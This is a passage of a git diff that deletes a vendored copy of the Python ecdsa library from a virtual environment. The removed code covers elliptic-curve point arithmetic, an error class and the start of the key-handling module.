coord_y, 1, order, generator) - - def _maybe_precompute(self): - if not self.__generator or self.__precompute: - return - - # since this code will execute just once, and it's fully deterministic, - # depend on atomicity of the last assignment to switch from empty - # self.__precompute to filled one and just ignore the unlikely - # situation when two threads execute it at the same time (as it won't - # lead to inconsistent __precompute) - order = self.__order - assert order - precompute = [] - i = 1 - order *= 2 - coord_x, coord_y, coord_z = self.__coords - doubler = PointJacobi(self.__curve, coord_x, coord_y, coord_z, order) - order *= 2 - precompute.append((doubler.x(), doubler.y())) - - while i < order: - i *= 2 - doubler = doubler.double().scale() - precompute.append((doubler.x(), doubler.y())) - - self.__precompute = precompute - - def __getstate__(self): - # while this code can execute at the same time as _maybe_precompute() - # is updating the __precompute or scale() is updating the __coords, - # there is no requirement for consistency between __coords and - # __precompute - state = self.__dict__.copy() - return state - - def __setstate__(self, state): - self.__dict__.update(state) - - def __eq__(self, other): - """Compare for equality two points with each-other. - - Note: only points that lay on the same curve can be equal. - """ - x1, y1, z1 = self.__coords - if other is INFINITY: - return not z1 - if isinstance(other, Point): - x2, y2, z2 = other.x(), other.y(), 1 - elif isinstance(other, PointJacobi): - x2, y2, z2 = other.__coords - else: - return NotImplemented - if self.__curve != other.curve(): - return False - p = self.__curve.p() - - zz1 = z1 * z1 % p - zz2 = z2 * z2 % p - - # compare the fractions by bringing them to the same denominator - # depend on short-circuit to save 4 multiplications in case of - # inequality - return (x1 * zz2 - x2 * zz1) % p == 0 and ( - y1 * zz2 * z2 - y2 * zz1 * z1 - ) % p == 0 - - def __ne__(self, other): - """Compare for inequality two points with each-other.""" - return not self == other - - def order(self): - """Return the order of the point. - - None if it is undefined. - """ - return self.__order - - def curve(self): - """Return curve over which the point is defined.""" - return self.__curve - - def x(self): - """ - Return affine x coordinate. - - This method should be used only when the 'y' coordinate is not needed. - It's computationally more efficient to use `to_affine()` and then - call x() and y() on the returned instance. Or call `scale()` - and then x() and y() on the returned instance. - """ - x, _, z = self.__coords - if z == 1: - return x - p = self.__curve.p() - z = numbertheory.inverse_mod(z, p) - return x * z**2 % p - - def y(self): - """ - Return affine y coordinate. - - This method should be used only when the 'x' coordinate is not needed. - It's computationally more efficient to use `to_affine()` and then - call x() and y() on the returned instance. Or call `scale()` - and then x() and y() on the returned instance. - """ - _, y, z = self.__coords - if z == 1: - return y - p = self.__curve.p() - z = numbertheory.inverse_mod(z, p) - return y * z**3 % p - - def scale(self): - """ - Return point scaled so that z == 1. - - Modifies point in place, returns self. - """ - x, y, z = self.__coords - if z == 1: - return self - - # scaling is deterministic, so even if two threads execute the below - # code at the same time, they will set __coords to the same value - p = self.__curve.p() - z_inv = numbertheory.inverse_mod(z, p) - zz_inv = z_inv * z_inv % p - x = x * zz_inv % p - y = y * zz_inv * z_inv % p - self.__coords = (x, y, 1) - return self - - def to_affine(self): - """Return point in affine form.""" - _, _, z = self.__coords - p = self.__curve.p() - if not (z % p): - return INFINITY - self.scale() - x, y, z = self.__coords - assert z == 1 - return Point(self.__curve, x, y, self.__order) - - @staticmethod - def from_affine(point, generator=False): - """Create from an affine point. - - :param bool generator: set to True to make the point to precalculate - multiplication table - useful for public point when verifying many - signatures (around 100 or so) or for generator points of a curve. - """ - return PointJacobi( - point.curve(), point.x(), point.y(), 1, point.order(), generator - ) - - # please note that all the methods that use the equations from - # hyperelliptic - # are formatted in a way to maximise performance. - # Things that make code faster: multiplying instead of taking to the power - # (`xx = x * x; xxxx = xx * xx % p` is faster than `xxxx = x**4 % p` and - # `pow(x, 4, p)`), - # multiple assignments at the same time (`x1, x2 = self.x1, self.x2` is - # faster than `x1 = self.x1; x2 = self.x2`), - # similarly, sometimes the `% p` is skipped if it makes the calculation - # faster and the result of calculation is later reduced modulo `p` - - def _double_with_z_1(self, X1, Y1, p, a): - """Add a point to itself with z == 1.""" - # after: - # http://hyperelliptic.org/EFD/g1p/auto-shortw-jacobian.html#doubling-mdbl-2007-bl - XX, YY = X1 * X1 % p, Y1 * Y1 % p - if not YY: - return 0, 0, 0 - YYYY = YY * YY % p - S = 2 * ((X1 + YY) ** 2 - XX - YYYY) % p - M = 3 * XX + a - T = (M * M - 2 * S) % p - # X3 = T - Y3 = (M * (S - T) - 8 * YYYY) % p - Z3 = 2 * Y1 % p - return T, Y3, Z3 - - def _double(self, X1, Y1, Z1, p, a): - """Add a point to itself, arbitrary z.""" - if Z1 == 1: - return self._double_with_z_1(X1, Y1, p, a) - if not Z1: - return 0, 0, 0 - # after: - # http://hyperelliptic.org/EFD/g1p/auto-shortw-jacobian.html#doubling-dbl-2007-bl - XX, YY = X1 * X1 % p, Y1 * Y1 % p - if not YY: - return 0, 0, 0 - YYYY = YY * YY % p - ZZ = Z1 * Z1 % p - S = 2 * ((X1 + YY) ** 2 - XX - YYYY) % p - M = (3 * XX + a * ZZ * ZZ) % p - T = (M * M - 2 * S) % p - # X3 = T - Y3 = (M * (S - T) - 8 * YYYY) % p - Z3 = ((Y1 + Z1) ** 2 - YY - ZZ) % p - - return T, Y3, Z3 - - def double(self): - """Add a point to itself.""" - X1, Y1, Z1 = self.__coords - - if not Z1: - return INFINITY - - p, a = self.__curve.p(), self.__curve.a() - - X3, Y3, Z3 = self._double(X1, Y1, Z1, p, a) - - if not Z3: - return INFINITY - return PointJacobi(self.__curve, X3, Y3, Z3, self.__order) - - def _add_with_z_1(self, X1, Y1, X2, Y2, p): - """add points when both Z1 and Z2 equal 1""" - # after: - # http://hyperelliptic.org/EFD/g1p/auto-shortw-jacobian.html#addition-mmadd-2007-bl - H = X2 - X1 - HH = H * H - I = 4 * HH % p - J = H * I - r = 2 * (Y2 - Y1) - if not H and not r: - return self._double_with_z_1(X1, Y1, p, self.__curve.a()) - V = X1 * I - X3 = (r**2 - J - 2 * V) % p - Y3 = (r * (V - X3) - 2 * Y1 * J) % p - Z3 = 2 * H % p - return X3, Y3, Z3 - - def _add_with_z_eq(self, X1, Y1, Z1, X2, Y2, p): - """add points when Z1 == Z2""" - # after: - # http://hyperelliptic.org/EFD/g1p/auto-shortw-jacobian.html#addition-zadd-2007-m - A = (X2 - X1) ** 2 % p - B = X1 * A % p - C = X2 * A - D = (Y2 - Y1) ** 2 % p - if not A and not D: - return self._double(X1, Y1, Z1, p, self.__curve.a()) - X3 = (D - B - C) % p - Y3 = ((Y2 - Y1) * (B - X3) - Y1 * (C - B)) % p - Z3 = Z1 * (X2 - X1) % p - return X3, Y3, Z3 - - def _add_with_z2_1(self, X1, Y1, Z1, X2, Y2, p): - """add points when Z2 == 1""" - # after: - # http://hyperelliptic.org/EFD/g1p/auto-shortw-jacobian.html#addition-madd-2007-bl - Z1Z1 = Z1 * Z1 % p - U2, S2 = X2 * Z1Z1 % p, Y2 * Z1 * Z1Z1 % p - H = (U2 - X1) % p - HH = H * H % p - I = 4 * HH % p - J = H * I - r = 2 * (S2 - Y1) % p - if not r and not H: - return self._double_with_z_1(X2, Y2, p, self.__curve.a()) - V = X1 * I - X3 = (r * r - J - 2 * V) % p - Y3 = (r * (V - X3) - 2 * Y1 * J) % p - Z3 = ((Z1 + H) ** 2 - Z1Z1 - HH) % p - return X3, Y3, Z3 - - def _add_with_z_ne(self, X1, Y1, Z1, X2, Y2, Z2, p): - """add points with arbitrary z""" - # after: - # http://hyperelliptic.org/EFD/g1p/auto-shortw-jacobian.html#addition-add-2007-bl - Z1Z1 = Z1 * Z1 % p - Z2Z2 = Z2 * Z2 % p - U1 = X1 * Z2Z2 % p - U2 = X2 * Z1Z1 % p - S1 = Y1 * Z2 * Z2Z2 % p - S2 = Y2 * Z1 * Z1Z1 % p - H = U2 - U1 - I = 4 * H * H % p - J = H * I % p - r = 2 * (S2 - S1) % p - if not H and not r: - return self._double(X1, Y1, Z1, p, self.__curve.a()) - V = U1 * I - X3 = (r * r - J - 2 * V) % p - Y3 = (r * (V - X3) - 2 * S1 * J) % p - Z3 = ((Z1 + Z2) ** 2 - Z1Z1 - Z2Z2) * H % p - - return X3, Y3, Z3 - - def __radd__(self, other): - """Add other to self.""" - return self + other - - def _add(self, X1, Y1, Z1, X2, Y2, Z2, p): - """add two points, select fastest method.""" - if not Z1: - return X2 % p, Y2 % p, Z2 % p - if not Z2: - return X1 % p, Y1 % p, Z1 % p - if Z1 == Z2: - if Z1 == 1: - return self._add_with_z_1(X1, Y1, X2, Y2, p) - return self._add_with_z_eq(X1, Y1, Z1, X2, Y2, p) - if Z1 == 1: - return self._add_with_z2_1(X2, Y2, Z2, X1, Y1, p) - if Z2 == 1: - return self._add_with_z2_1(X1, Y1, Z1, X2, Y2, p) - return self._add_with_z_ne(X1, Y1, Z1, X2, Y2, Z2, p) - - def __add__(self, other): - """Add two points on elliptic curve.""" - if self == INFINITY: - return other - if other == INFINITY: - return self - if isinstance(other, Point): - other = PointJacobi.from_affine(other) - if self.__curve != other.__curve: - raise ValueError("The other point is on different curve") - - p = self.__curve.p() - X1, Y1, Z1 = self.__coords - X2, Y2, Z2 = other.__coords - - X3, Y3, Z3 = self._add(X1, Y1, Z1, X2, Y2, Z2, p) - - if not Z3: - return INFINITY - return PointJacobi(self.__curve, X3, Y3, Z3, self.__order) - - def __rmul__(self, other): - """Multiply point by an integer.""" - return self * other - - def _mul_precompute(self, other): - """Multiply point by integer with precomputation table.""" - X3, Y3, Z3, p = 0, 0, 0, self.__curve.p() - _add = self._add - for X2, Y2 in self.__precompute: - if other % 2: - if other % 4 >= 2: - other = (other + 1) // 2 - X3, Y3, Z3 = _add(X3, Y3, Z3, X2, -Y2, 1, p) - else: - other = (other - 1) // 2 - X3, Y3, Z3 = _add(X3, Y3, Z3, X2, Y2, 1, p) - else: - other //= 2 - - if not Z3: - return INFINITY - return PointJacobi(self.__curve, X3, Y3, Z3, self.__order) - - def __mul__(self, other): - """Multiply point by an integer.""" - if not self.__coords[1] or not other: - return INFINITY - if other == 1: - return self - if self.__order: - # order*2 as a protection for Minerva - other = other % (self.__order * 2) - self._maybe_precompute() - if self.__precompute: - return self._mul_precompute(other) - - self = self.scale() - X2, Y2, _ = self.__coords - X3, Y3, Z3 = 0, 0, 0 - p, a = self.__curve.p(), self.__curve.a() - _double = self._double - _add = self._add - # since adding points when at least one of them is scaled - # is quicker, reverse the NAF order - for i in reversed(self._naf(other)): - X3, Y3, Z3 = _double(X3, Y3, Z3, p, a) - if i < 0: - X3, Y3, Z3 = _add(X3, Y3, Z3, X2, -Y2, 1, p) - elif i > 0: - X3, Y3, Z3 = _add(X3, Y3, Z3, X2, Y2, 1, p) - - if not Z3: - return INFINITY - - return PointJacobi(self.__curve, X3, Y3, Z3, self.__order) - - def mul_add(self, self_mul, other, other_mul): - """ - Do two multiplications at the same time, add results. - - calculates self*self_mul + other*other_mul - """ - if other == INFINITY or other_mul == 0: - return self * self_mul - if self_mul == 0: - return other * other_mul - if not isinstance(other, PointJacobi): - other = PointJacobi.from_affine(other) - # when the points have precomputed answers, then multiplying them alone - # is faster (as it uses NAF and no point doublings) - self._maybe_precompute() - other._maybe_precompute() - if self.__precompute and other.__precompute: - return self * self_mul + other * other_mul - - if self.__order: - self_mul = self_mul % self.__order - other_mul = other_mul % self.__order - - # (X3, Y3, Z3) is the accumulator - X3, Y3, Z3 = 0, 0, 0 - p, a = self.__curve.p(), self.__curve.a() - - # as we have 6 unique points to work with, we can't scale all of them, - # but do scale the ones that are used most often - self.scale() - X1, Y1, Z1 = self.__coords - other.scale() - X2, Y2, Z2 = other.__coords - - _double = self._double - _add = self._add - - # with NAF we have 3 options: no add, subtract, add - # so with 2 points, we have 9 combinations: - # 0, -A, +A, -B, -A-B, +A-B, +B, -A+B, +A+B - # so we need 4 combined points: - mAmB_X, mAmB_Y, mAmB_Z = _add(X1, -Y1, Z1, X2, -Y2, Z2, p) - pAmB_X, pAmB_Y, pAmB_Z = _add(X1, Y1, Z1, X2, -Y2, Z2, p) - mApB_X, mApB_Y, mApB_Z = pAmB_X, -pAmB_Y, pAmB_Z - pApB_X, pApB_Y, pApB_Z = mAmB_X, -mAmB_Y, mAmB_Z - # when the self and other sum to infinity, we need to add them - # one by one to get correct result but as that's very unlikely to - # happen in regular operation, we don't need to optimise this case - if not pApB_Z: - return self * self_mul + other * other_mul - - # gmp object creation has cumulatively higher overhead than the - # speedup we get from calculating the NAF using gmp so ensure use - # of int() - self_naf = list(reversed(self._naf(int(self_mul)))) - other_naf = list(reversed(self._naf(int(other_mul)))) - # ensure that the lists are the same length (zip() will truncate - # longer one otherwise) - if len(self_naf) < len(other_naf): - self_naf = [0] * (len(other_naf) - len(self_naf)) + self_naf - elif len(self_naf) > len(other_naf): - other_naf = [0] * (len(self_naf) - len(other_naf)) + other_naf - - for A, B in zip(self_naf, other_naf): - X3, Y3, Z3 = _double(X3, Y3, Z3, p, a) - - # conditions ordered from most to least likely - if A == 0: - if B == 0: - pass - elif B < 0: - X3, Y3, Z3 = _add(X3, Y3, Z3, X2, -Y2, Z2, p) - else: - assert B > 0 - X3, Y3, Z3 = _add(X3, Y3, Z3, X2, Y2, Z2, p) - elif A < 0: - if B == 0: - X3, Y3, Z3 = _add(X3, Y3, Z3, X1, -Y1, Z1, p) - elif B < 0: - X3, Y3, Z3 = _add(X3, Y3, Z3, mAmB_X, mAmB_Y, mAmB_Z, p) - else: - assert B > 0 - X3, Y3, Z3 = _add(X3, Y3, Z3, mApB_X, mApB_Y, mApB_Z, p) - else: - assert A > 0 - if B == 0: - X3, Y3, Z3 = _add(X3, Y3, Z3, X1, Y1, Z1, p) - elif B < 0: - X3, Y3, Z3 = _add(X3, Y3, Z3, pAmB_X, pAmB_Y, pAmB_Z, p) - else: - assert B > 0 - X3, Y3, Z3 = _add(X3, Y3, Z3, pApB_X, pApB_Y, pApB_Z, p) - - if not Z3: - return INFINITY - - return PointJacobi(self.__curve, X3, Y3, Z3, self.__order) - - def __neg__(self): - """Return negated point.""" - x, y, z = self.__coords - return PointJacobi(self.__curve, x, -y, z, self.__order) - - -class Point(AbstractPoint): - """A point on a short Weierstrass elliptic curve. Altering x and y is - forbidden, but they can be read by the x() and y() methods.""" - - def __init__(self, curve, x, y, order=None): - """curve, x, y, order; order (optional) is the order of this point.""" - super(Point, self).__init__() - self.__curve = curve - if GMPY: - self.__x = x and mpz(x) - self.__y = y and mpz(y) - self.__order = order and mpz(order) - else: - self.__x = x - self.__y = y - self.__order = order - # self.curve is allowed to be None only for INFINITY: - if self.__curve: - assert self.__curve.contains_point(x, y) - # for curves with cofactor 1, all points that are on the curve are - # scalar multiples of the base point, so performing multiplication is - # not necessary to verify that. See Section 3.2.2.1 of SEC 1 v2 - if curve and curve.cofactor() != 1 and order: - assert self * order == INFINITY - - @classmethod - def from_bytes( - cls, - curve, - data, - validate_encoding=True, - valid_encodings=None, - order=None, - ): - """ - Initialise the object from byte encoding of a point. - - The method does accept and automatically detect the type of point - encoding used. It supports the :term:`raw encoding`, - :term:`uncompressed`, :term:`compressed`, and :term:`hybrid` encodings. - - :param data: single point encoding of the public key - :type data: :term:`bytes-like object` - :param curve: the curve on which the public key is expected to lay - :type curve: ~ecdsa.ellipticcurve.CurveFp - :param validate_encoding: whether to verify that the encoding of the - point is self-consistent, defaults to True, has effect only - on ``hybrid`` encoding - :type validate_encoding: bool - :param valid_encodings: list of acceptable point encoding formats, - supported ones are: :term:`uncompressed`, :term:`compressed`, - :term:`hybrid`, and :term:`raw encoding` (specified with ``raw`` - name). All formats by default (specified with ``None``). - :type valid_encodings: :term:`set-like object` - :param int order: the point order, must be non zero when using - generator=True - - :raises `~ecdsa.errors.MalformedPointError`: if the public point does - not lay on the curve or the encoding is invalid - - :return: Point on curve - :rtype: Point - """ - coord_x, coord_y = super(Point, cls).from_bytes( - curve, data, validate_encoding, valid_encodings - ) - return Point(curve, coord_x, coord_y, order) - - def __eq__(self, other): - """Return True if the points are identical, False otherwise. - - Note: only points that lay on the same curve can be equal. - """ - if other is INFINITY: - return self.__x is None or self.__y is None - if isinstance(other, Point): - return ( - self.__curve == other.__curve - and self.__x == other.__x - and self.__y == other.__y - ) - return NotImplemented - - def __ne__(self, other): - """Returns False if points are identical, True otherwise.""" - return not self == other - - def __neg__(self): - return Point(self.__curve, self.__x, self.__curve.p() - self.__y) - - def __add__(self, other): - """Add one point to another point.""" - - # X9.62 B.3: - - if not isinstance(other, Point): - return NotImplemented - if other == INFINITY: - return self - if self == INFINITY: - return other - assert self.__curve == other.__curve - if self.__x == other.__x: - if (self.__y + other.__y) % self.__curve.p() == 0: - return INFINITY - else: - return self.double() - - p = self.__curve.p() - - l = ( - (other.__y - self.__y) - * numbertheory.inverse_mod(other.__x - self.__x, p) - ) % p - - x3 = (l * l - self.__x - other.__x) % p - y3 = (l * (self.__x - x3) - self.__y) % p - - return Point(self.__curve, x3, y3) - - def __mul__(self, other): - """Multiply a point by an integer.""" - - def leftmost_bit(x): - assert x > 0 - result = 1 - while result <= x: - result = 2 * result - return result // 2 - - e = other - if e == 0 or (self.__order and e % self.__order == 0): - return INFINITY - if self == INFINITY: - return INFINITY - if e < 0: - return (-self) * (-e) - - # From X9.62 D.3.2: - - e3 = 3 * e - negative_self = Point( - self.__curve, - self.__x, - (-self.__y) % self.__curve.p(), - self.__order, - ) - i = leftmost_bit(e3) // 2 - result = self - # print("Multiplying %s by %d (e3 = %d):" % (self, other, e3)) - while i > 1: - result = result.double() - if (e3 & i) != 0 and (e & i) == 0: - result = result + self - if (e3 & i) == 0 and (e & i) != 0: - result = result + negative_self - # print(". . . i = %d, result = %s" % ( i, result )) - i = i // 2 - - return result - - def __rmul__(self, other): - """Multiply a point by an integer.""" - - return self * other - - def __str__(self): - if self == INFINITY: - return "infinity" - return "(%d,%d)" % (self.__x, self.__y) - - def double(self): - """Return a new point that is twice the old.""" - if self == INFINITY: - return INFINITY - - # X9.62 B.3: - - p = self.__curve.p() - a = self.__curve.a() - - l = ( - (3 * self.__x * self.__x + a) - * numbertheory.inverse_mod(2 * self.__y, p) - ) % p - - if not l: - return INFINITY - - x3 = (l * l - 2 * self.__x) % p - y3 = (l * (self.__x - x3) - self.__y) % p - - return Point(self.__curve, x3, y3) - - def x(self): - return self.__x - - def y(self): - return self.__y - - def curve(self): - return self.__curve - - def order(self): - return self.__order - - -class PointEdwards(AbstractPoint): - """Point on Twisted Edwards curve. - - Internally represents the coordinates on the curve using four parameters, - X, Y, Z, T. They correspond to affine parameters 'x' and 'y' like so: - - x = X / Z - y = Y / Z - x*y = T / Z - """ - - def __init__(self, curve, x, y, z, t, order=None, generator=False): - """ - Initialise a point that uses the extended coordinates internally. - """ - super(PointEdwards, self).__init__() - self.__curve = curve - if GMPY: # pragma: no branch - self.__coords = (mpz(x), mpz(y), mpz(z), mpz(t)) - self.__order = order and mpz(order) - else: # pragma: no branch - self.__coords = (x, y, z, t) - self.__order = order - self.__generator = generator - self.__precompute = [] - - @classmethod - def from_bytes( - cls, - curve, - data, - validate_encoding=None, - valid_encodings=None, - order=None, - generator=False, - ): - """ - Initialise the object from byte encoding of a point. - - `validate_encoding` and `valid_encodings` are provided for - compatibility with Weierstrass curves, they are ignored for Edwards - points. - - :param data: single point encoding of the public key - :type data: :term:`bytes-like object` - :param curve: the curve on which the public key is expected to lay - :type curve: ecdsa.ellipticcurve.CurveEdTw - :param None validate_encoding: Ignored, encoding is always validated - :param None valid_encodings: Ignored, there is just one encoding - supported - :param int order: the point order, must be non zero when using - generator=True - :param bool generator: Flag to mark the point as a curve generator, - this will cause the library to pre-compute some values to - make repeated usages of the point much faster - - :raises `~ecdsa.errors.MalformedPointError`: if the public point does - not lay on the curve or the encoding is invalid - - :return: Initialised point on an Edwards curve - :rtype: PointEdwards - """ - coord_x, coord_y = super(PointEdwards, cls).from_bytes( - curve, data, validate_encoding, valid_encodings - ) - return PointEdwards( - curve, coord_x, coord_y, 1, coord_x * coord_y, order, generator - ) - - def _maybe_precompute(self): - if not self.__generator or self.__precompute: - return self.__precompute - - # since this code will execute just once, and it's fully deterministic, - # depend on atomicity of the last assignment to switch from empty - # self.__precompute to filled one and just ignore the unlikely - # situation when two threads execute it at the same time (as it won't - # lead to inconsistent __precompute) - order = self.__order - assert order - precompute = [] - i = 1 - order *= 2 - coord_x, coord_y, coord_z, coord_t = self.__coords - prime = self.__curve.p() - - doubler = PointEdwards( - self.__curve, coord_x, coord_y, coord_z, coord_t, order - ) - # for "protection" against Minerva we need 1 or 2 more bits depending - # on order bit size, but it's easier to just calculate one - # point more always - order *= 4 - - while i < order: - doubler = doubler.scale() - coord_x, coord_y = doubler.x(), doubler.y() - coord_t = coord_x * coord_y % prime - precompute.append((coord_x, coord_y, coord_t)) - - i *= 2 - doubler = doubler.double() - - self.__precompute = precompute - return self.__precompute - - def x(self): - """Return affine x coordinate.""" - X1, _, Z1, _ = self.__coords - if Z1 == 1: - return X1 - p = self.__curve.p() - z_inv = numbertheory.inverse_mod(Z1, p) - return X1 * z_inv % p - - def y(self): - """Return affine y coordinate.""" - _, Y1, Z1, _ = self.__coords - if Z1 == 1: - return Y1 - p = self.__curve.p() - z_inv = numbertheory.inverse_mod(Z1, p) - return Y1 * z_inv % p - - def curve(self): - """Return the curve of the point.""" - return self.__curve - - def order(self): - return self.__order - - def scale(self): - """ - Return point scaled so that z == 1. - - Modifies point in place, returns self. - """ - X1, Y1, Z1, _ = self.__coords - if Z1 == 1: - return self - - p = self.__curve.p() - z_inv = numbertheory.inverse_mod(Z1, p) - x = X1 * z_inv % p - y = Y1 * z_inv % p - t = x * y % p - self.__coords = (x, y, 1, t) - return self - - def __eq__(self, other): - """Compare for equality two points with each-other. - - Note: only points on the same curve can be equal. - """ - x1, y1, z1, t1 = self.__coords - if other is INFINITY: - return not x1 or not t1 - if isinstance(other, PointEdwards): - x2, y2, z2, t2 = other.__coords - else: - return NotImplemented - if self.__curve != other.curve(): - return False - p = self.__curve.p() - - # cross multiply to eliminate divisions - xn1 = x1 * z2 % p - xn2 = x2 * z1 % p - yn1 = y1 * z2 % p - yn2 = y2 * z1 % p - return xn1 == xn2 and yn1 == yn2 - - def __ne__(self, other): - """Compare for inequality two points with each-other.""" - return not self == other - - def _add(self, X1, Y1, Z1, T1, X2, Y2, Z2, T2, p, a): - """add two points, assume sane parameters.""" - # after add-2008-hwcd-2 - # from https://hyperelliptic.org/EFD/g1p/auto-twisted-extended.html - # NOTE: there are more efficient formulas for Z1 or Z2 == 1 - A = X1 * X2 % p - B = Y1 * Y2 % p - C = Z1 * T2 % p - D = T1 * Z2 % p - E = D + C - F = ((X1 - Y1) * (X2 + Y2) + B - A) % p - G = B + a * A - H = D - C - if not H: - return self._double(X1, Y1, Z1, T1, p, a) - X3 = E * F % p - Y3 = G * H % p - T3 = E * H % p - Z3 = F * G % p - - return X3, Y3, Z3, T3 - - def __add__(self, other): - """Add point to another.""" - if other == INFINITY: - return self - if ( - not isinstance(other, PointEdwards) - or self.__curve != other.__curve - ): - raise ValueError("The other point is on a different curve.") - - p, a = self.__curve.p(), self.__curve.a() - X1, Y1, Z1, T1 = self.__coords - X2, Y2, Z2, T2 = other.__coords - - X3, Y3, Z3, T3 = self._add(X1, Y1, Z1, T1, X2, Y2, Z2, T2, p, a) - - if not X3 or not T3: - return INFINITY - return PointEdwards(self.__curve, X3, Y3, Z3, T3, self.__order) - - def __radd__(self, other): - """Add other to self.""" - return self + other - - def _double(self, X1, Y1, Z1, T1, p, a): - """Double the point, assume sane parameters.""" - # after "dbl-2008-hwcd" - # from https://hyperelliptic.org/EFD/g1p/auto-twisted-extended.html - # NOTE: there are more efficient formulas for Z1 == 1 - A = X1 * X1 % p - B = Y1 * Y1 % p - C = 2 * Z1 * Z1 % p - D = a * A % p - E = ((X1 + Y1) * (X1 + Y1) - A - B) % p - G = D + B - F = G - C - H = D - B - X3 = E * F % p - Y3 = G * H % p - T3 = E * H % p - Z3 = F * G % p - - return X3, Y3, Z3, T3 - - def double(self): - """Return point added to itself.""" - X1, Y1, Z1, T1 = self.__coords - - if not X1 or not T1: - return INFINITY - - p, a = self.__curve.p(), self.__curve.a() - - X3, Y3, Z3, T3 = self._double(X1, Y1, Z1, T1, p, a) - - # both Ed25519 and Ed448 have prime order, so no point added to - # itself will equal zero - if not X3 or not T3: # pragma: no branch - return INFINITY - return PointEdwards(self.__curve, X3, Y3, Z3, T3, self.__order) - - def __rmul__(self, other): - """Multiply point by an integer.""" - return self * other - - def _mul_precompute(self, other): - """Multiply point by integer with precomputation table.""" - X3, Y3, Z3, T3, p, a = 0, 1, 1, 0, self.__curve.p(), self.__curve.a() - _add = self._add - for X2, Y2, T2 in self.__precompute: - rem = other % 4 - if rem == 0 or rem == 2: - other //= 2 - elif rem == 3: - other = (other + 1) // 2 - X3, Y3, Z3, T3 = _add(X3, Y3, Z3, T3, -X2, Y2, 1, -T2, p, a) - else: - assert rem == 1 - other = (other - 1) // 2 - X3, Y3, Z3, T3 = _add(X3, Y3, Z3, T3, X2, Y2, 1, T2, p, a) - - if not X3 or not T3: - return INFINITY - - return PointEdwards(self.__curve, X3, Y3, Z3, T3, self.__order) - - def __mul__(self, other): - """Multiply point by an integer.""" - X2, Y2, Z2, T2 = self.__coords - if not X2 or not T2 or not other: - return INFINITY - if other == 1: - return self - if self.__order: - # order*2 as a "protection" for Minerva - other = other % (self.__order * 2) - if self._maybe_precompute(): - return self._mul_precompute(other) - - X3, Y3, Z3, T3 = 0, 1, 1, 0 # INFINITY in extended coordinates - p, a = self.__curve.p(), self.__curve.a() - _double = self._double - _add = self._add - - for i in reversed(self._naf(other)): - X3, Y3, Z3, T3 = _double(X3, Y3, Z3, T3, p, a) - if i < 0: - X3, Y3, Z3, T3 = _add(X3, Y3, Z3, T3, -X2, Y2, Z2, -T2, p, a) - elif i > 0: - X3, Y3, Z3, T3 = _add(X3, Y3, Z3, T3, X2, Y2, Z2, T2, p, a) - - if not X3 or not T3: - return INFINITY - - return PointEdwards(self.__curve, X3, Y3, Z3, T3, self.__order) - - -# This one point is the Point At Infinity for all purposes: -INFINITY = Point(None, None, None) diff --git a/venv/Lib/site-packages/ecdsa/errors.py b/venv/Lib/site-packages/ecdsa/errors.py deleted file mode 100644 index 0184c05b1c863ad99c8f293e780d53998cf1a49e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/errors.py +++ /dev/null @@ -1,4 +0,0 @@ -class MalformedPointError(AssertionError): - """Raised in case the encoding of private or public key is malformed.""" - - pass diff --git a/venv/Lib/site-packages/ecdsa/keys.py b/venv/Lib/site-packages/ecdsa/keys.py deleted file mode 100644 index f74252c7989cba2f5d82eba4e666747f8daf8d22..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/keys.py +++ /dev/null @@ -1,1631 +0,0 @@ -""" -Primary classes for performing signing and verification operations. -""" - -import binascii -from hashlib import sha1 -import os -from six import PY2 -from . import ecdsa, eddsa -from . import der, ssh -from . import rfc6979 -from . import ellipticcurve -from .curves import NIST192p, Curve, Ed25519, Ed448 -from .ecdsa import RSZeroError -from .util import string_to_number, number_to_string, randrange -from .util import sigencode_string, sigdecode_string, bit_length -from .util import ( - oid_ecPublicKey, - encoded_oid_ecPublicKey, - oid_ecDH, - oid_ecMQV, - MalformedSignature, -) -from ._compat import normalise_bytes -from .errors import MalformedPointError -from .ellipticcurve import PointJacobi, CurveEdTw - - -__all__ = [ - "BadSignatureError", - "BadDigestError", - "VerifyingKey", - "SigningKey", - "MalformedPointError", -] - - -class BadSignatureError(Exception): - """ - Raised when verification of signature failed. - - Will be raised irrespective of reason of the failure: - - * the calculated or provided hash does not match the signature - * the signature does not match the curve/public key - * the encoding of the signature is malformed - * the size of the signature does not match the curve of the VerifyingKey - """ - - pass - - -class BadDigestError(Exception): - """Raised in case the selected hash is too large for the curve.""" - - pass - - -def _truncate_and_convert_digest(digest, curve, allow_truncate): - """Truncates and converts digest to an integer.""" - if not allow_truncate: - if len(digest) > curve.baselen: - raise BadDigestError( - "this curve ({0}) is too short " - "for the length of your digest ({1})".format( - curve.name, 8 * len(digest) - ) - ) - else: - digest = digest[: curve.baselen] - number = string_to_number(digest) - if allow_truncate: - max_length = bit_length(curve.order) - # we don't use bit_length(number) as that truncates leading zeros - length = len(digest) * 8 - - # See NIST FIPS 186-4: - # - # When the length of the output of the hash function is greater - # than N (i.e., the bit length of q), then the leftmost N bits of - # the hash function output block shall be used in any calculation - # using the hash function output during the generation or - # verification of a digital signature. - # - # as such, we need to shift-out the low-order bits: - number >>= max(0, length - max_length) - - return number - - -class VerifyingKey(object): - """ - Class for handling keys that can verify signatures (public keys). - - :ivar `~ecdsa.curves.Curve` ~.curve: The Curve over which all the - cryptographic operations will take place - :ivar default_hashfunc: the function that will be used for hashing the - data. Should implement the same API as hashlib.sha1 - :vartype default_hashfunc: callable - :ivar pubkey: the actual public key - :vartype pubkey: ~ecdsa.ecdsa.Public_key - """ - - def __init__(self, _error__please_use_generate=None): - """Unsupported, please use one of the classmethods to initialise.""" - if not _error__please_use_generate: - raise TypeError( - "Please use VerifyingKey.generate() to construct me" - ) - self.curve = None - self.default_hashfunc = None - self.pubkey = None - - def __repr__(self): - pub_key = self.to_string("compressed") - if self.default_hashfunc: - hash_name = self.default_hashfunc().name - else: - hash_name = "None" - return "VerifyingKey.from_string({0!r}, {1!r}, {2})".format( - pub_key, self.curve, hash_name - ) - - def __eq__(self, other): - """Return True if the points are identical, False otherwise.""" - if isinstance(other, VerifyingKey): - return self.curve == other.curve and self.pubkey == other.pubkey - return NotImplemented - - def __ne__(self, other): - """Return False if the points are identical, True otherwise.""" - return not self == other - - @classmethod - def from_public_point( - cls, point, curve=NIST192p, hashfunc=sha1, validate_point=True - ): - """ - Initialise the object from a Point object. - - This is a low-level method, generally you will not want to use it. - - :param point: The point to wrap around, the actual public key - :type point: 